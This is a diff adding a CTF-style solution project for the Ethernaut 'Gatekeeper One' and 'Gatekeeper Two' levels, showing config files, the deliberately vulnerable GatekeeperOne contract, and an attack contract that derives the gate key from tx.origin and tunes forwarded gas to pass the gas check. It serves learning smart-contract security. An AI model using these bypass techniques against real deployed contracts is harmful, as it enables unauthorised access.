Updated and modified files for the project

- Added new files:
  - 13-gatekeeper_one_DONE/.gitignore
  - 13-gatekeeper_one_DONE/README.md
  - 13-gatekeeper_one_DONE/ape-config.yaml
  - 13-gatekeeper_one_DONE/contracts/GatekeeperOne.sol
  - 13-gatekeeper_one_DONE/contracts/GatekeeperOneAttack.sol
  - 13-gatekeeper_one_DONE/pyproject.toml
  - 13-gatekeeper_one_DONE/requirements-dev.lock
  - 13-gatekeeper_one_DONE/requirements.lock
  - 13-gatekeeper_one_DONE/scripts/attack.py
  - 14-gatekeeper-two/.gitignore
  - 14-gatekeeper-two/README.md
  - 14-gatekeeper-two/ape-config.yaml
  - 14-gatekeeper-two/pyproject.toml
  - 14-gatekeeper-two/requirements-dev.lock
  - 14-gatekeeper-two/requirements.lock
  - 14-gatekeeper-two/scripts/attack.py
  - 14-gatekeeper-two/src/_14_gatekeeper_two/__init__.py

13-gatekeeper_one_DONE/.gitignore

@@ -0,0 +1,10 @@
+# Ape stuff
+.build/
+.cache/
+
+# Python
+.env
+.venv
+.pytest_cache
+.python-version
+__pycache__

13-gatekeeper_one_DONE/README.md

@@ -0,0 +1,3 @@
+# 13-gatekeeper-one
+
+Describe your project here.

13-gatekeeper_one_DONE/ape-config.yaml

@@ -0,0 +1,19 @@
+name: 13_gatekeeper_one
+plugins:
+  - name: solidity
+  - name: infura
+  - name: foundry
+default_ecosystem: ethereum
+ethereum:
+  default_network: sepolia-fork
+  sepolia:
+    default_provider: infura
+  sepolia_fork:
+    default_provider: foundry
+    default_transaction_type: 0
+    transaction_acceptance_timeout: 600 # 5 minutes
+foundry:
+  fork:
+    ethereum:
+      sepolia_fork:
+        upstream_provider: infura

13-gatekeeper_one_DONE/contracts/GatekeeperOne.sol

@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract GatekeeperOne {
+    address public entrant;
+
+    modifier gateOne() {
+        require(msg.sender != tx.origin);
+        _;
+    }
+
+    modifier gateTwo() {
+        require(gasleft() % 8191 == 0);
+        _;
+    }
+
+    modifier gateThree(bytes8 _gateKey) {
+        /* 
+        # Gate 1
+        bytes8 = 16 hex chars
+        1 byte = 8 bits
+        8 bytes = 64 bits
+        bytes8 _gateKey = uint64(_gateKey) just numerical representation
+        uint32(uint64(_gateKey) -> truncate first 32 bits i.e. 4 bytes
+        uint16(uint64(_gateKey) -> truncate first 16 bits i.e. 2 bytes
+        B1 B2 B3 B4 == 0 0 B3 B4
+        B1 B2 B3 B4 != 1 0 B3 B4
+        */
+        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
+        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
+        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
+        _;
+    }
+
+    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
+        entrant = tx.origin;
+        return true;
+    }
+}

13-gatekeeper_one_DONE/contracts/GatekeeperOneAttack.sol

@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.26;
+
+import "./GatekeeperOne.sol";
+
+contract GatekeeperOneAttack {
+    GatekeeperOne private target;
+
+    event FoundValue(uint256 value);
+
+    function forceEnter(address _addr, uint256 gas) external {
+        target = GatekeeperOne(_addr);
+        /*
+        k = uint64(_gateKey);
+        1. uint32(k) = uint16(k)
+        2. uint32(k) != k
+        4. uint32(k) = uint16(uint160(tx.origin))
+        */
+        // 1. uint32(k) = uint16(k)
+        uint16 k16 = uint16(uint160(tx.origin));
+        // 2. uint32(k) != k
+        // uint64(1) = 0x00000000...1
+        // uint64(1 << 64) = 0x100000....
+        uint64 k64 = uint64(1 << 63) + uint64(k16);
+
+        bytes8 key = bytes8(k64);
+
+        require(gas < 8191, "gas > 8191");
+        require(target.enter{gas: (8191 * 3) + 150 + gas}(key), "failed");
+    }
+}

13-gatekeeper_one_DONE/pyproject.toml

@@ -0,0 +1,26 @@
+[project]
+name = "13-gatekeeper-one"
+version = "0.1.0"
+description = "Add your description here"
+authors = [
+    { name = "Aviksaikat", email = "[email protected]" }
+]
+dependencies = [
+    "eth-ape>=0.8.9",
+]
+readme = "README.md"
+requires-python = ">= 3.8"
+
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[tool.rye]
+managed = true
+dev-dependencies = []
+
+[tool.hatch.metadata]
+allow-direct-references = true
+
+[tool.hatch.build.targets.wheel]
+packages = ["src/_13_gatekeeper_one"]